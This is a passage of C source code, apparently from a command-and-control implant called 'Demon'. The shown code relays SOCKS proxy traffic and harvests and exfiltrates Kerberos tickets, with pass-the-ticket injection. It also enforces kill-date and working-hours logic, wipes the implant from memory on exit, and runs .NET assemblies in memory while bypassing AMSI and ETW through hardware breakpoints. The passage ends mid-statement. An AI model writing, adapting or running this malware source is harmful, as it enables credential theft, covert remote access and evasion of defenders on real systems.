DWORD  ScId       = 0;\n            BYTE   ATYP       = 0;\n            UINT32 HostIpSize = 0;\n            PBYTE  HostIp     = NULL;\n            BOOL   UseIpv4    = TRUE;\n            DWORD  IPv4       = 0;\n            PBYTE  IPv6       = NULL;\n            INT16  Port       = 0;\n            LPSTR  Domain     = NULL;\n            UINT32 ErrorCode  = 0;\n\n            /* parse arguments */\n            ScId   = ParserGetInt32( Parser );\n            ATYP   = ParserGetByte( Parser );\n            HostIp = ParserGetBytes( Parser, &HostIpSize );\n            Port   = ParserGetInt16( Parser );\n\n            if ( ATYP == 1 )\n            {\n                // IPv4\n                IPv4  = 0;\n                IPv4 |= ( HostIp[0] << ( 8 * 0 ));\n                IPv4 |= ( HostIp[1] << ( 8 * 1 ));\n                IPv4 |= ( HostIp[2] << ( 8 * 2 ));\n                IPv4 |= ( HostIp[3] << ( 8 * 3 ));\n            }\n            else if ( ATYP == 3 )\n            {\n                // DOMAINNAME\n\n                // make sure there is a nullbyte at the end of the domain\n                Domain = Instance->Win32.LocalAlloc( LPTR, HostIpSize + 1 );\n                MemCopy( Domain, HostIp, HostIpSize );\n\n                IPv4 = DnsQueryIPv4( (LPSTR)Domain );\n\n                // if the domain does not have an IPv4, try with IPv6\n                if ( ! IPv4 )\n                {\n                    IPv6    = DnsQueryIPv6( (LPSTR)Domain );\n                    UseIpv4 = FALSE;\n                }\n\n                Instance->Win32.LocalFree( Domain );\n            }\n            else if ( ATYP == 4 )\n            {\n                // IPv6\n                IPv6    = Instance->Win32.LocalAlloc( LPTR, 16 );\n                MemCopy( IPv6, HostIp, 16 );\n                UseIpv4 = FALSE;\n            }\n\n            PRINTF( \"Socket ID: %x\\n\", ScId )\n\n            /* check if address is not 0 */\n            if ( IPv4 || IPv6 )\n            {\n                /* Create a socks proxy socket and insert it into the linked list. */\n                if ( ( Socket = SocketNew( 0, SOCKET_TYPE_REVERSE_PROXY, UseIpv4, IPv4, IPv6, Port, 0, 0, 0 ) ) )\n                {\n                    Socket->ID = ScId;\n                    ErrorCode = 0;\n                }\n                else\n                {\n                    ErrorCode = NtGetLastError();\n                    PRINTF( \"Connect failed with %d\\n\", ErrorCode )\n                }\n\n                PackageAddInt32( Package, Socket ? TRUE : FALSE );\n            }\n            else\n            {\n                PRINTF( \"Could not resolve domain: %s\\n\", Domain );\n                // error code for \"Host unreachable\"\n                ErrorCode = WSAEHOSTUNREACH;\n                PackageAddInt32( Package, FALSE );\n            }\n\n            PackageAddInt32( Package, ScId );\n            PackageAddInt32( Package, ErrorCode );\n\n            if ( IPv6 )\n            {\n                Instance->Win32.LocalFree( IPv6 );\n                IPv6 = NULL;\n            }\n\n            break;\n        }\n\n        case SOCKET_COMMAND_CLOSE: PUTS( \"Socket::Close\" )\n        {\n            DWORD SocketID = 0;\n\n            /* parse arguments */\n            SocketID = ParserGetInt32( Parser );\n\n            PRINTF( \"SocketID: %x\\n\", SocketID );\n\n            /* get Sockets list */\n            Socket = Instance->Sockets;\n\n            for ( ;; )\n            {\n                if ( ! Socket )\n                    break;\n\n                if ( Socket->ID == SocketID )\n                {\n                    PRINTF( \"Found socket: %x\\n\", Socket->ID )\n\n                    Socket->ShouldRemove = TRUE;\n\n                    break;\n                }\n\n                Socket = Socket->Next;\n            }\n\n            /* destroy the package and exit this command function */\n            PackageDestroy( Package ); Package = NULL;\n\n            return;\n        }\n\n        default: break;\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandKerberos(\n    IN PPARSER Parser\n) {\n    PPACKAGE     Package = NULL;\n    DWORD        Command = 0;\n    HANDLE       hToken  = TokenCurrentHandle();\n\n    Package = PackageCreate( DEMON_COMMAND_KERBEROS );\n    Command = ParserGetInt32( Parser );\n\n    PackageAddInt32( Package, Command );\n    switch ( Command )\n    {\n        case KERBEROS_COMMAND_LUID: PUTS(\"Kerberos::LUID\")\n        {\n            LUID*  luid    = NULL;\n\n            luid = GetLUID( hToken );\n\n            if ( hToken )\n            {\n                SysNtClose( hToken );\n                hToken = NULL;\n            }\n\n            PackageAddInt32( Package, luid ? TRUE : FALSE );\n\n            if ( luid )\n            {\n                PackageAddInt32( Package, luid->HighPart );\n                PackageAddInt32( Package, luid->LowPart );\n\n                MemSet( luid, 0, sizeof( LUID ) );\n                Instance->Win32.LocalFree( luid );\n                luid = NULL;\n            }\n\n            break;\n        }\n\n        case KERBEROS_COMMAND_KLIST: PUTS(\"Kerberos::Klist\")\n        {\n            DWORD Type                       = 0;\n            PSESSION_INFORMATION Sessions    = NULL;\n            PSESSION_INFORMATION SessionTmp  = NULL;\n            DWORD                NumSessions = 0;\n            LUID                 luid        = (LUID){.HighPart = 0, .LowPart = 0};\n            DWORD                NumTickets  = 0;\n            PTICKET_INFORMATION  TicketTmp   = NULL;\n\n            Type = ParserGetInt32( Parser );\n            // Type 0: /all\n            // Type 1: /luid 0xabc\n            if ( Type == 1 )\n            {\n                luid.LowPart = ParserGetInt32( Parser );\n            }\n\n            Sessions = Klist( hToken, luid );\n\n            PackageAddInt32( Package, Sessions ? TRUE : FALSE );\n\n            for ( NumSessions = 0, SessionTmp = Sessions; SessionTmp; NumSessions++, SessionTmp = SessionTmp->Next ){}\n\n            PackageAddInt32( Package, NumSessions );\n\n            while ( Sessions )\n            {\n                SessionTmp = Sessions->Next;\n\n                PackageAddWString( Package, Sessions->UserName );\n                PackageAddWString( Package, Sessions->Domain );\n                PackageAddInt32( Package, Sessions->LogonId.LowPart );\n                PackageAddInt32( Package, Sessions->LogonId.HighPart );\n                PackageAddInt32( Package, Sessions->Session );\n                PackageAddWString( Package, Sessions->UserSID );\n                PackageAddInt32( Package, Sessions->LogonTime.LowPart );\n                PackageAddInt32( Package, Sessions->LogonTime.HighPart );\n                PackageAddInt32( Package, Sessions->LogonType );\n                PackageAddWString( Package, Sessions->AuthenticationPackage );\n                PackageAddWString( Package, Sessions->LogonServer );\n                PackageAddWString( Package, Sessions->LogonServerDNSDomain );\n                PackageAddWString( Package, Sessions->Upn );\n\n                for ( NumTickets = 0, TicketTmp = Sessions->Tickets; TicketTmp; NumTickets++, TicketTmp = TicketTmp->Next ){}\n\n                PackageAddInt32( Package, NumTickets );\n\n                while ( Sessions->Tickets )\n                {\n                    TicketTmp = Sessions->Tickets->Next;\n\n                    PackageAddWString( Package, Sessions->Tickets->ClientName );\n                    PackageAddWString( Package, Sessions->Tickets->ClientRealm );\n                    PackageAddWString( Package, Sessions->Tickets->ServerName );\n                    PackageAddWString( Package, Sessions->Tickets->ServerRealm );\n                    PackageAddInt32( Package, Sessions->Tickets->StartTime.LowPart );\n                    PackageAddInt32( Package, Sessions->Tickets->StartTime.HighPart );\n                    PackageAddInt32( Package, Sessions->Tickets->EndTime.LowPart );\n                    PackageAddInt32( Package, Sessions->Tickets->EndTime.HighPart );\n                    PackageAddInt32( Package, Sessions->Tickets->RenewTime.LowPart );\n                    PackageAddInt32( Package, Sessions->Tickets->RenewTime.HighPart );\n                    PackageAddInt32( Package, Sessions->Tickets->EncryptionType );\n                    PackageAddInt32( Package, Sessions->Tickets->TicketFlags );\n                    PackageAddBytes( Package, Sessions->Tickets->Ticket.Buffer, Sessions->Tickets->Ticket.Length );\n\n                    if ( Sessions->Tickets->Ticket.Buffer )\n                    {\n                        DATA_FREE( Sessions->Tickets->Ticket.Buffer, Sessions->Tickets->Ticket.Length );\n                    }\n\n                    DATA_FREE( Sessions->Tickets, sizeof( TICKET_INFORMATION ) );\n                    Sessions->Tickets = TicketTmp;\n                }\n\n                DATA_FREE( Sessions, sizeof( SESSION_INFORMATION ) );\n                Sessions = SessionTmp;\n            }\n\n            if ( hToken )\n            {\n                SysNtClose( hToken );\n                hToken = NULL;\n            }\n\n            break;\n        }\n\n        case KERBEROS_COMMAND_PURGE: PUTS(\"Kerberos::Purge\")\n        {\n            LUID luid = (LUID){.HighPart = 0, .LowPart = 0};\n\n            luid.LowPart = ParserGetInt32( Parser );\n\n            PackageAddInt32( Package, Purge( hToken, luid ) ? TRUE : FALSE );\n\n            break;\n        }\n\n        case KERBEROS_COMMAND_PTT: PUTS(\"Kerberos::Ptt\")\n        {\n            PBYTE  Ticket     = NULL;\n            UINT32 TicketSize = 0;\n            LUID   luid       = (LUID){.HighPart = 0, .LowPart = 0};\n\n            Ticket = ParserGetBytes( Parser, &TicketSize );\n\n            luid.LowPart = ParserGetInt32( Parser );\n\n            PackageAddInt32( Package, Ptt( hToken, Ticket, TicketSize, luid ) ? TRUE : FALSE );\n\n            break;\n        }\n\n        default: break;\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandMemFile( PPARSER Parser )\n{\n    PPACKAGE   Package = NULL;\n    ULONG32    ID      = 0;\n    BUFFER     Data    = { 0 };\n    SIZE_T     Size    = 0;\n    PMEM_FILE  MemFile = NULL;\n\n    Package = PackageCreate( DEMON_COMMAND_MEM_FILE );\n\n    PUTS(\"MemFile\")\n\n    ID          = ParserGetInt32( Parser );\n    Size        = ParserGetInt64( Parser );\n    Data.Buffer = ParserGetBytes( Parser, &Data.Length );\n\n    // TODO: handle out of order packets?\n\n    MemFile = ProcessMemFileChunk( ID, Size, Data.Buffer, Data.Length );\n\n    PackageAddInt32( Package, ID );\n    PackageAddInt32( Package, MemFile != NULL ? TRUE : FALSE );\n\n    PackageTransmit( Package );\n}\n\nBOOL InWorkingHours( )\n{\n    SYSTEMTIME SystemTime   = { 0 };\n    UINT32     WorkingHours = Instance->Config.Transport.WorkingHours;\n    WORD       StartHour    = 0;\n    WORD       StartMinute  = 0;\n    WORD       EndHour      = 0;\n    WORD       EndMinute    = 0;\n\n    // if WorkingHours is not set, return TRUE\n    if ( ( ( WorkingHours >> 22 ) & 1 ) == 0 )\n        return TRUE;\n\n    StartHour   = ( WorkingHours >> 17 ) & 0b011111;\n    StartMinute = ( WorkingHours >> 11 ) & 0b111111;\n    EndHour     = ( WorkingHours >>  6 ) & 0b011111;\n    EndMinute   = ( WorkingHours >>  0 ) & 0b111111;\n\n    Instance->Win32.GetLocalTime(&SystemTime);\n\n    if ( SystemTime.wHour < StartHour || SystemTime.wHour > EndHour )\n        return FALSE;\n\n    if ( SystemTime.wHour == StartHour && SystemTime.wMinute < StartMinute )\n        return FALSE;\n\n    if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute )\n        return FALSE;\n\n    return TRUE;\n}\n\nBOOL ReachedKillDate()\n{\n    return Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate;\n}\n\nVOID KillDate( )\n{\n    PUTS( \"Reached KillDate\"  )\n\n    /* Send our last message to our server...\n     * \"They say time is the fire in which we burn.\n     * Right now, Captain, my time is running out.\" */\n    PPACKAGE Package = PackageCreate( DEMON_KILL_DATE );\n    PackageTransmit( Package );\n    PackageTransmitAll( NULL, NULL );\n\n    CommandExit( NULL );\n}\n\n// TODO: rewrite this. disconnect all pivots. kill our threads. release memory and free itself.\nVOID CommandExit( PPARSER Parser )\n{\n    PUTS( \"Exit\" );\n\n    /* default is 1 == exit thread.\n     * TODO: make an config that holds the default exit method */\n    UINT32            ExitMethod    = 1;\n    PPACKAGE          Package       = NULL;\n    CONTEXT           RopExit       = { 0 };\n    LPVOID            ImageBase     = NULL;\n    SIZE_T            ImageSize     = 0;\n    PJOB_DATA         JobList       = Instance->Jobs;\n    DWORD             JobID         = 0;\n    PSOCKET_DATA      SocketList    = Instance->Sockets;\n    PSOCKET_DATA      SocketEntry   = NULL;\n    PDOWNLOAD_DATA    DownloadList  = Instance->Downloads;\n    PDOWNLOAD_DATA    DownloadEntry = NULL;\n    PMEM_FILE         MemFileList   = Instance->MemFiles;\n    PMEM_FILE         MemFileEntry  = NULL;\n    PPIVOT_DATA       SmbPivotList  = Instance->SmbPivots;\n    PPIVOT_DATA       SmbPivotEntry = NULL;\n    PCOFFEE_KEY_VALUE KeyValueList  = Instance->CoffeKeyValueStore;\n    PCOFFEE_KEY_VALUE KeyValueEntry = NULL;\n\n    if ( Parser )\n    {\n        /* Send our last message to our server...\n         * \"My battery is low, and it’s getting dark.\" */\n        Package    = PackageCreate( DEMON_EXIT );\n        ExitMethod = ParserGetInt32( Parser );\n\n        PackageAddInt32( Package, ExitMethod );\n        PackageTransmit( Package );\n        PackageTransmitAll( NULL, NULL );\n    }\n\n    // kill all running jobs\n    for ( ;; )\n    {\n        if ( ! JobList )\n            break;\n\n        JobID = JobList->JobID;\n        JobList = JobList->Next;\n\n        JobKill( JobID );\n    }\n\n    // close all sockets\n    for ( ;; )\n    {\n        if ( ! SocketList )\n            break;\n\n        SocketEntry = SocketList;\n        SocketList = SocketList->Next;\n\n        if ( SocketEntry->Socket )\n        {\n            Instance->Win32.closesocket( SocketEntry->Socket );\n            SocketEntry->Socket = 0;\n        }\n\n        MemSet( SocketEntry, 0, sizeof( SOCKET_DATA ) );\n        MmHeapFree( SocketEntry );\n    }\n\n    // remove downloads\n    for ( ;; )\n    {\n        if ( ! DownloadList ) {\n            break;\n        }\n\n        DownloadEntry = DownloadList;\n        DownloadList = DownloadList->Next;\n\n        DownloadRemove( DownloadEntry->FileID );\n    }\n\n    for ( ;; )\n    {\n        if ( ! MemFileList ) {\n            break;\n        }\n\n        MemFileEntry = MemFileList;\n        MemFileList = MemFileList->Next;\n\n        RemoveMemFile( MemFileEntry->ID );\n    }\n\n    // free the DownloadChunk buffer\n    if ( Instance->DownloadChunk.Buffer )\n    {\n        MmHeapFree( Instance->DownloadChunk.Buffer );\n        Instance->DownloadChunk.Buffer = NULL;\n        Instance->DownloadChunk.Length = 0;\n    }\n\n#ifdef TRANSPORT_HTTP\n    DATA_FREE( Instance->ProxyForUrl, Instance->SizeOfProxyForUrl );\n#endif\n\n    // disconnect from all smb pivots\n    for ( ;; )\n    {\n        if ( ! SmbPivotList ) {\n            break;\n        }\n\n        SmbPivotEntry = SmbPivotList;\n        SmbPivotList  = SmbPivotList->Next;\n\n        PivotRemove( SmbPivotEntry->DemonID );\n    }\n\n    // free all key/values from COFFs\n    for ( ;; )\n    {\n        if ( ! KeyValueList ) {\n            break;\n        }\n\n        KeyValueEntry = KeyValueList;\n        KeyValueList  = KeyValueList->Next;\n\n        DATA_FREE( KeyValueEntry, sizeof( COFFEE_KEY_VALUE ) );\n    }\n\n    // stop impersonating\n    TokenImpersonate( FALSE );\n\n    // clear all stolen tokens\n    TokenClear();\n\n    // terminate the use of the Winsock 2 DLL (Ws2_32.dll)\n    if ( Instance->WSAWasInitialised ) {\n        Instance->Win32.WSACleanup();\n    }\n\n#if TRANSPORT_HTTP\n    // close the HTTP session\n    if ( Instance->hHttpSession ) {\n        Instance->Win32.WinHttpCloseHandle( Instance->hHttpSession );\n    }\n#endif\n\n#if _WIN64\n\n    /* NOTE:\n     *      Credit goes to Austin (@ilove2pwn_) for sharing this code with me.\n     * TODO:\n     *      Clear memory by using a gadgets that prepares and executes movsb\n     */\n\n    ImageBase = Instance->Session.ModuleBase;\n    ImageSize = NULL;\n\n    RopExit.ContextFlags = CONTEXT_FULL;\n    Instance->Win32.RtlCaptureContext( &RopExit );\n\n    RopExit.Rip = U_PTR( Instance->Win32.NtFreeVirtualMemory );\n    RopExit.Rsp = U_PTR( ( RopExit.Rsp &~ ( 0x1000 - 1 ) ) - 0x1000 );\n    RopExit.Rcx = U_PTR( NtCurrentProcess() );\n    RopExit.Rdx = U_PTR( &ImageBase );\n    RopExit.R8  = U_PTR( &ImageSize );\n    RopExit.R9  = U_PTR( MEM_RELEASE );\n\n    if ( ExitMethod == 1 )\n        *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserThread );\n\n    else if ( ExitMethod == 2 )\n        *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserProcess );\n\n    RopExit.ContextFlags = CONTEXT_FULL;\n    Instance->Win32.NtContinue( &RopExit, FALSE );\n\n#else\n\n    // TODO: cleanup memory\n\n    if ( ExitMethod == 1 )\n        Instance->Win32.RtlExitUserThread( STATUS_SUCCESS );\n\n    else if ( ExitMethod == 2 )\n        Instance->Win32.RtlExitUserProcess( STATUS_SUCCESS );\n\n#endif\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Dotnet.c",
    "content": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n#include <core/Dotnet.h>\n#include <core/HwBpExceptions.h>\n#include <core/Runtime.h>\n\n#define PIPE_BUFFER 0x10000 * 5\n\nGUID xCLSID_CLRMetaHost     = { 0x9280188d, 0xe8e,  0x4867, { 0xb3, 0xc,  0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };\nGUID xCLSID_CorRuntimeHost  = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };\nGUID xIID_AppDomain         = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } };\nGUID xIID_ICLRMetaHost      = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };\nGUID xIID_ICLRRuntimeInfo   = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };\nGUID xIID_ICorRuntimeHost   = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };\n\nBOOL AmsiPatched = FALSE;\n\nBOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments )\n{\n    PPACKAGE       PackageInfo    = NULL;\n    SAFEARRAYBOUND RgsBound[ 1 ]  = { 0 };\n    BUFFER         AssemblyData   = { 0 };\n    LPWSTR*        ArgumentsArray = NULL;\n    INT            ArgumentsCount = 0;\n    LONG           idx[ 1 ]       = { 0 };\n    VARIANT        Object         = { 0 };\n    NTSTATUS       Status         = STATUS_SUCCESS;\n    DWORD          ThreadId       = 0;\n    HRESULT        Result         = S_OK;\n    BOOL           AmsiIsLoaded   = FALSE;\n\n    if ( ! Assembly.Buffer || ! Assembly.Length )\n        return FALSE;\n\n    /* Create a named pipe for our output. try with anon pipes at some point. */\n    Instance->Dotnet->Pipe = Instance->Win32.CreateNamedPipeW(\n        Instance->Dotnet->PipeName.Buffer,\n        PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,\n        PIPE_TYPE_MESSAGE,\n        PIPE_UNLIMITED_INSTANCES,\n        PIPE_BUFFER, PIPE_BUFFER,\n        0,\n        NULL\n    );\n\n    if ( ! Instance->Dotnet->Pipe )\n    {\n        PRINTF( \"CreateNamedPipeW Failed: Error[%d]\\n\", NtGetLastError() )\n        PACKAGE_ERROR_WIN32;\n\n        return FALSE;\n    }\n\n    if ( ! ( Instance->Dotnet->File = Instance->Win32.CreateFileW( Instance->Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) )\n    {\n        PRINTF( \"CreateFileW Failed: Error[%d]\\n\", NtGetLastError() )\n        PACKAGE_ERROR_WIN32;\n\n        return FALSE;\n    }\n\n    if ( ! Instance->Win32.GetConsoleWindow( ) )\n    {\n        HWND wnd = NULL;\n\n        Instance->Win32.AllocConsole( );\n\n        if ( ( wnd = Instance->Win32.GetConsoleWindow( ) ) )\n            Instance->Win32.ShowWindow( wnd, SW_HIDE );\n    }\n\n    //\n    // hosting common language runtime\n    //\n    if ( ! ClrCreateInstance(\n        Instance->Dotnet->NetVersion.Buffer,\n        & Instance->Dotnet->MetaHost,\n        & Instance->Dotnet->ClrRuntimeInfo,\n        & Instance->Dotnet->ICorRuntimeHost\n    ) ) {\n        PUTS( \"Couldn't start CLR\" )\n        return FALSE;\n    }\n\n    /* if Amsi/Etw bypass is enabled */\n    if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP )\n    {\n#if _WIN64\n        PUTS( \"Try to patch(less) Amsi/Etw\" )\n\n        PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );\n        PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED );\n\n        /* check if Amsi is loaded */\n        AmsiIsLoaded = TRUE;\n        if ( ! Instance->Modules.Amsi ) {\n            AmsiIsLoaded = RtAmsi();\n        }\n\n        PUTS( \"Init HwBp Engine\" )\n        /* use global engine */\n        if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) {\n            return FALSE;\n        }\n\n        ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread );\n\n        /* add Amsi bypass */\n        if ( AmsiIsLoaded )\n        {\n            PUTS( \"HwBp Engine add AmsiScanBuffer bypass\" )\n            if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) {\n                PRINTF( \"Failed adding exception to HwBp Engine: %08x\\n\", Status )\n                return FALSE;\n            }\n        }\n\n        /* add Etw bypass */\n        PUTS( \"HwBp Engine add NtTraceEvent bypass\" )\n        if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) {\n            PRINTF( \"Failed adding exception to HwBp Engine: %08x\\n\", Status )\n            return FALSE;\n        }\n\n        PackageTransmit( PackageInfo );\n        PackageInfo = NULL;\n#endif\n    }\n    else if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) {\n        /* todo: add memory patching technique */\n    }\n    else {\n        /* no patching */\n    }\n\n    /* Let the operator know what version we are going to use. */\n    PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );\n    PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION );\n    PackageAddBytes( PackageInfo, Instance->Dotnet->NetVersion.Buffer, Instance->Dotnet->NetVersion.Length );\n    PackageTransmit( PackageInfo );\n    PackageInfo = NULL;\n\n    RgsBound[ 0 ].cElements    = Assembly.Length;\n    RgsBound[ 0 ].lLbound      = 0;\n    Instance->Dotnet->SafeArray = Instance->Win32.SafeArrayCreate( VT_UI1, 1, RgsBound );\n\n    PUTS( \"CreateDomain...\" )\n    if ( ( Result = Instance->Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainName.Buffer, NULL, &Instance->Dotnet->AppDomainThunk ) ) ) {\n        PRINTF( \"CreateDomain Failed: %x\\n\", Result )\n        return FALSE;\n    }\n\n    PUTS( \"QueryInterface...\" )\n    if ( ( Result = Instance->Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance->Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance->Dotnet->AppDomain ) ) ) {\n        PRINTF( \"QueryInterface Failed: %x\\n\", Result )\n        return FALSE;\n    }\n\n    if ( ( Result = Instance->Win32.SafeArrayAccessData( Instance->Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) {\n        PRINTF( \"SafeArrayAccessData Failed: %x\\n\", Result )\n        return FALSE;\n    }\n\n    PUTS( \"Copy assembly to buffer...\" )\n    MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length );\n\n    if ( ( Result = Instance->Win32.SafeArrayUnaccessData( Instance->Dotnet->SafeArray ) ) ) {\n        PRINTF(\"SafeArrayUnaccessData Failed: %x\\n\", Result )\n        PACKAGE_ERROR_WIN32\n    }\n\n    PUTS( \"AppDomain Load...\" )\n    if ( ( Result = Instance->Dotnet->AppDomain->lpVtbl->Load_3( Instance->Dotnet->AppDomain, Instance->Dotnet->SafeArray, &Instance->Dotnet->Assembly ) ) ) {\n        PRINTF( \"AppDomain Failed: %x\\n\", Result )\n        return FALSE;\n    }\n\n    PUTS( \"Assembly EntryPoint...\" )\n    if ( ( Result = Instance->Dotnet->Assembly->lpVtbl->EntryPoint( Instance->Dotnet->Assembly, &Instance->Dotnet->MethodInfo ) ) ) {\n        PRINTF( \"Assembly EntryPoint Failed: %x\\n\", Result )\n        return FALSE;\n    }\n\n    Instance->Dotnet->MethodArgs = Instance->Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()\n\n    ArgumentsArray = Instance->Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount );\n    ArgumentsArray++;\n    ArgumentsCount--;\n\n    Instance->Dotnet->vtPsa.vt     = ( VT_ARRAY | VT_BSTR );\n    Instance->Dotnet->vtPsa.parray = Instance->Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount );\n\n    for ( LONG i = 0; i < ArgumentsCount; i++ ) {\n        if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->vtPsa.parray, &i, Instance->Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) {\n            PRINTF( \"Args SafeArrayPutElement Failed: %x\\n\", Result )\n            return FALSE;\n        }\n    }\n\n    if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->MethodArgs, idx, &Instance->Dotnet->vtPsa ) ) ) {\n        PRINTF( \"SafeArrayPutElement Failed: %x\\n\", Result )\n            return FALSE;\n    }\n\n    Instance->Dotnet->StdOut = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE );\n    Instance->Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance->Dotnet->File );\n\n    if ( ( Result = Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance->Dotnet->MethodInfo, Object, Instance->Dotnet->MethodArgs, &Instance->Dotnet->Return ) ) ) {\n        PRINTF( \"Invoke Assembly Failed: %x\\n\", Result )\n        return FALSE;\n    }\n\n    Instance->Dotnet->Invoked = TRUE;\n\n    /* push output */\n    DotnetPush();\n\n\n    /*\n     * TODO: Finish/Fix this.\n     *       It seems like its way to unstable to use this\n     *       assembly crashes the agent randomly and dont know why.\n     *       Fix this once i get motivated enough or remove this entirely. */\n\n    /*\n    PUTS( \"Create Thread...\" )\n\n    MemSet( &ThreadAttr, 0, sizeof( PROC_THREAD_ATTRIBUTE_NUM ) );\n    MemSet( &ClientId, 0, sizeof( CLIENT_ID ) );\n\n    ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE );\n    ThreadAttr.Entry.Size      = sizeof( CLIENT_ID );\n    ThreadAttr.Entry.pValue    = &ClientId;\n    ThreadAttr.Length          = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST );\n\n    PUTS( \"Creating events...\" )\n    if ( NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&\n         NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Exit,  EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )\n    {\n        if ( NT_SUCCESS( Instance->Win32.NtCreateThreadEx( &Instance->Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) )\n        {\n            Instance->Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) );\n            Instance->Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) );\n            Instance->Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) );\n            Instance->Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) );\n\n            Instance->Dotnet->RopInit->ContextFlags = CONTEXT_FULL;\n            if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( Instance->Dotnet->Thread, Instance->Dotnet->RopInit ) ) )\n            {\n                MemCopy( Instance->Dotnet->RopInvk, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );\n                MemCopy( Instance->Dotnet->RopEvnt, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );\n                MemCopy( Instance->Dotnet->RopExit, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );\n\n                // This rop executes the entrypoint of the assembly\n                Instance->Dotnet->RopInvk->ContextFlags  = CONTEXT_FULL;\n                Instance->Dotnet->RopInvk->Rsp          -= U_PTR( 0x1000 * 6 );\n                Instance->Dotnet->RopInvk->Rip           = U_PTR( Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3 );\n                Instance->Dotnet->RopInvk->Rcx           = U_PTR( Instance->Dotnet->MethodInfo );\n                Instance->Dotnet->RopInvk->Rdx           = U_PTR( &Object );\n                Instance->Dotnet->RopInvk->R8            = U_PTR( Instance->Dotnet->MethodArgs );\n                Instance->Dotnet->RopInvk->R9            = U_PTR( &Instance->Dotnet->Return );\n                *( PVOID* )( Instance->Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );\n\n                // This rop tells the main thread (our agent main thread) that the assembly executable finished executing\n                Instance->Dotnet->RopEvnt->ContextFlags  = CONTEXT_FULL;\n                Instance->Dotnet->RopEvnt->Rsp          -= U_PTR( 0x1000 * 5 );\n                Instance->Dotnet->RopEvnt->Rip           = U_PTR( Instance->Win32.NtSetEvent );\n                Instance->Dotnet->RopEvnt->Rcx           = U_PTR( Instance->Dotnet->Event );\n                